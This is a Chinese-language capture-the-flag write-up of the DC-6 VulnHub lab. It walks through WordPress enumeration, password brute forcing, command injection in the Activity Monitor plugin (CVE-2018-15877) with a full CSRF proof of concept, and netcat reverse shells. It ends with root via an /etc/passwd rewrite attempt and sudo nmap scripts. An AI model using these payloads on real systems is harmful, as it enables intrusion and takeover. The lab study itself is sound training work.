DC-6靶场
信息收集
-
nmap扫描,发现192.168.137.136主机,其开放22/80端口
-
访问80端口,发现跳转的域名为wordy,无法访问
-
抓包把host改为192.168.137.136:80可以正常访问,与DC-2一样,解决方法是改我们电脑的hosts文件
-
扫描使用的网站框架为wordpress5.1.1。
-
扫描网站路径
python .\dirsearch.py -u http://wordy/ _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Target: http://wordy/ [09:58:24] Starting: [09:58:26] 403 - 291B - /.ht_wsr.txt [09:58:26] 403 - 294B - /.htaccess.bak1 [09:58:26] 403 - 296B - /.htaccess.sample [09:58:26] 403 - 294B - /.htaccess.orig [09:58:26] 403 - 294B - /.htaccess.save [09:58:26] 403 - 295B - /.htaccess_extra [09:58:26] 403 - 293B - /.htaccessOLD2 [09:58:26] 403 - 292B - /.htaccessBAK [09:58:26] 403 - 292B - /.htaccessOLD [09:58:26] 403 - 285B - /.html [09:58:26] 403 - 284B - /.htm [09:58:26] 403 - 294B - /.htaccess_orig [09:58:26] 403 - 292B - /.htaccess_sc [09:58:26] 403 - 294B - /.htpasswd_test [09:58:26] 403 - 290B - /.htpasswds [09:58:26] 403 - 291B - /.httr-oauth [09:58:27] 403 - 284B - /.php [09:58:27] 403 - 285B - /.php3 [09:58:47] 301 - 0B - /index.php -> http://wordy/ [09:58:47] 404 - 51KB - /index.php/login/ [09:58:49] 200 - 7KB - /license.txt [09:58:57] 200 - 3KB - /readme.html [09:58:58] 403 - 293B - /server-status [09:58:58] 403 - 294B - /server-status/ [09:59:07] 301 - 301B - /wp-admin -> http://wordy/wp-admin/ [09:59:07] 500 - 3KB - /wp-admin/setup-config.php [09:59:07] 301 - 303B - /wp-content -> http://wordy/wp-content/ [09:59:07] 200 - 0B - /wp-content/ [09:59:07] 403 - 318B - /wp-content/plugins/akismet/akismet.php [09:59:07] 403 - 316B - /wp-content/plugins/akismet/admin.php [09:59:07] 200 - 517B - /wp-admin/install.php [09:59:07] 500 - 0B - /wp-content/plugins/hello.php [09:59:07] 301 - 304B - /wp-includes -> http://wordy/wp-includes/ [09:59:07] 500 - 0B - /wp-includes/rss-functions.php [09:59:07] 200 - 4KB - /wp-includes/ [09:59:07] 200 - 0B - /wp-cron.php [09:59:07] 200 - 1KB - /wp-login.php [09:59:07] 302 - 0B - /wp-signup.php -> http://wordy/wp-login.php?action=register [09:59:07] 405 - 42B - /xmlrpc.php [09:59:08] 400 - 1B - /wp-admin/admin-ajax.php [09:59:08] 302 - 0B - /wp-admin/ -> http://wordy/wp-login.php?redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&reauth=1 [09:59:08] 200 - 0B - /wp-config.php Task Completed
-
扫描到的目录大多数拒绝访问,最有用的可能是wp-includes,但是都是php文件,点击会被当做脚本直接运行,无法下载。
-
再对CMS系统进一步扫描,收集到5个用户名
___ _ _ ____ ____ ____ _ _ | |\/| [__ |___ |___ |_/ by @r3dhax0r |___ | | ___| |___ |___ | \_ Version 1.1.3 K-RONA [+] Deep Scan Results [+] ┏━Target: wordy ┃ ┠── CMS: WordPress ┃ │ ┃ ├── Version: 5.1.1 ┃ ╰── URL: https://wordpress.org ┃ ┠──[WordPress Deepscan] ┃ │ ┃ ├── Readme file found: http://wordy//readme.html ┃ ├── License file: http://wordy//license.txt ┃ │ ┃ ├── Themes Enumerated: 1 ┃ │ │ ┃ │ ╰── Theme: twentyseventeen ┃ │ │ ┃ │ ├── Version: 5.1.1 ┃ │ ╰── URL: http://wordy//wp-content/themes/twentyseventeen ┃ │ ┃ │ ┃ ├── Usernames harvested: 5 ┃ │ │ ┃ │ ├── graham ┃ │ ├── mark ┃ │ ├── jens ┃ │ ├── admin ┃ │ ╰── sarah ┃ │ ┃ ┠── Result: D:\Cybersecurity\CMSeeK-v.1.1.3\Result\wordy\cms.json ┃ ┗━Scan Completed in 11.49 Seconds, using 45 Requests
爆破
-
尝试根据收集的5个用户名在wp-admin页面爆破
没有成功
-
这时候想找找wordpress 5.1.1的已知漏洞,没有找到。但是找到了twentyseventeen主题的漏洞,该漏洞发现于2023年,晚于dc-6的发布时间2019,显然不是该题的正常题解。并且该漏洞利用条件为用户身份为撰写者级别及以上权限,所以暂时也无法利用。
-
到这不会做了,网上查攻略,发现vulnhub官网给了提示😢 即用户密码中包含“K01”
-
在kali上执行以下命令从rockyou字典中过滤
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
-
然后再爆破。就直接使用kali里的wpscan工具了。
-
虽然没有等好几年,但也花了9分钟😮 得到账号密码
Username: mark, Password: helpdesk01
-
登录
寻找漏洞
-
现在有了经过认证的账号了,先回到twentyseventeen主题的漏洞CVE-2023-5126,这是一个XSS漏洞,主要用来攻击网站上的其他用户,dc-6又没有其他的活动用户,对getshell基本无益。
-
该用户的身份是Help Desk,无法上传文件,图片只能使用链接
-
尝试再图片URL中输入
http://127.0.0.1/</figure> <?php3 system("nc 192.168.137.128 7777 -e sh");?>
反弹shell,没有成功。 -
该wordpress系统安装了两个插件
-
查到activity monitor存在已知漏洞
-
poc如下,即将该插件的tools选项中IP or integer *栏填上google.fr| nc -nlvp 127.0.0.1 7777 -e /bin/bash,来开启7777端口的监听。
PoC: 
 --> 
 <html> 
 <!-- WordPress Plainview Activity Monitor RCE 
 [+] Version: 20161228 and possibly prior 
 [+] Description: Combine OS Commanding and CSRF to get reverse shell 
 [+] Author: LydA(c)ric LEFEBVRE 
 [+] CVE-ID: CVE-2018-15877 
 [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell 
 [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well 
 --> 
 <body> 
 <script>history.pushState('', '', '/')</script> 
 <form action="http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data"> 
 <input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 7777 -e /bin/bash" /> 
 <input type="hidden" name="lookup" value="Lookup" /> 
 <input type="submit" value="Submit request" /> 
 </form> 
 </body> 
 </html>
getshell
-
直接在浏览器中改的时候会有前端的字数限制,F12改一下就好了。此外,让dc-6开启监听的方法总是有问题,所以 我使用让kali监听,dc-6反弹shell的方法。
kali: 
	nc -lvnp 7777 
dc-6: 
	<input id="plainview_sdk_pvam_form2_inputs_text_ip" class="text required does_not_validate" type="text" value="google.fr| nc -e /bin/bash 192.168.137.128 7777" size="15" required="true" name="ip" maxlength="" aria-required="true">
-
用python创建一个交互性更好的模拟终端
python -c "import pty;pty.spawn('/bin/bash')"
提权
-
查找系统中4000权限的文件
-
无可用提权命令,chfn用于更改用户的个人信息(如全名、办公室、电话等),用处不大,chsn用于更改用户的默认登录 shell,而mark的登录默认shell就是/bin/bash,而不是受限的rbash,在执行上没有限制,只是在权限上有限制。
-
接下来查看mark的home目录,发现stuff里有东西,记录了之前添加的用户名和密码
graham -- GSo7isUM1D4
-
ssh登录
-
查看到graham用户可以无密码执行/home/jens/backups.sh这个文件,虽然该文件不是root属主,但可以sudo以root权限去执行,存在提权可能。
-
向该文件中写入
sed -i '/^graham:/c\graham:x:0:0:root:/root:/bin/bash' /etc/passwd
,以下是该命令解释sed
:流编辑器命令。-i
:直接修改文件内容。/^graham:/
:匹配以graham:
开头的行。c\
:将匹配的行替换为后面的内容。graham:x:0:0:root:/root:/bin/bash
:替换后的新内容,将graham用户改为root权限。/etc/passwd
:目标文件。
-
结果并不可以,告诉我们graham用户不被允许用root权限执行该文件😭。那试试先切换到jens用户再看看
提权完成后发现/etc/sudoers文件中是这样写的:
# This file MUST be edited with the 'visudo' command as root. # # Please consider adding local content in /etc/sudoers.d/ instead of # directly modifying this file. # # See the man page for details on how to write a sudoers file. # Defaults env_reset Defaults mail_badpass Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" # Host alias specification # User alias specification # Cmnd alias specification # User privilege specification root ALL=(ALL:ALL) ALL # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL # See sudoers(5) for more information on "#include" directives: #includedir /etc/sudoers.d jens ALL = (root) NOPASSWD:/usr/bin/nmap graham ALL = (jens) NOPASSWD:/home/jens/backups.sh
让graham用户仅能以jens权限运行backups.sh文件,而不是root权限
而jens用户可以以root权限执行nmap,所以要绕一圈用jens执行nmap来提权。
-
向该文件写入/bin/bash,然后sudo -u jens执行
-
切换到jens用户再查看可以无密码执行sudo的命令
-
nmap的属主是root,而且jens可以无密码sudo执行,而nmap可以用--script选项执行脚本,nmap的脚本需要lua语言,存放到nse文件中。
SCRIPT SCAN: -sC: equivalent to --script=default --script=
: is a comma separated list of directories, script-files or script-categories --script-args= : provide arguments to scripts --script-args-file=filename: provide NSE script args in a file --script-trace: Show all data sent and received --script-updatedb: Update the script database. --script-help= : Show help about scripts. is a comma-separated list of script-files or script-categories. -
lua语言执行系统命令用os.execute()。所以执行以下命令生成脚本,然后用sudo执行nmap并带上脚本。完成提权
flag
-
cd到/home/root下查看flag